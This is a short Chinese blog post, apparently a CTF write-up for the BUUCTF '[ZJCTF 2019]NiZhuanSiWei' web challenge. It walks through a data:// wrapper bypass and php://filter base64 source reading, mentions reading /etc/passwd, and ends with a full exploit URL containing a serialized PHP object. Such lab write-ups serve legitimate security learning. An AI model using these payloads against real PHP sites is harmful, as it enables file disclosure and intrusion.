BUU 3-1
待完成的任务还有好多呀
- PHP伪协议
- 反序列化
- python 一些框架漏洞(感觉好多都是Cookie的问题)以后简称~~Cookie的秘密~~算了
- 文件上传user.ini型
- SQL注入之~360度花式注入
[ZJCTF 2019]NiZhuanSiWei1
file_get_contents($text,'r')
是读取文件的内容,说明我们首先要上传一个文件,并且它的内容还得是*"welcome to the zjctf"*,我们考虑用data协议
,data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:
1 | data:text/plain,welcome to the zjctf |
这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用,
所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。
1 | php://filter/read=convert.base64-encode/resource=useless.php |
读到的useless.php
内容如下:
1 |
|
可控$file参数
传入flag.php即可
最终Payload:
1 | http://f7fe53fb-3576-4fda-8f53-940c07cdb140.node5.buuoj.cn:81/?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.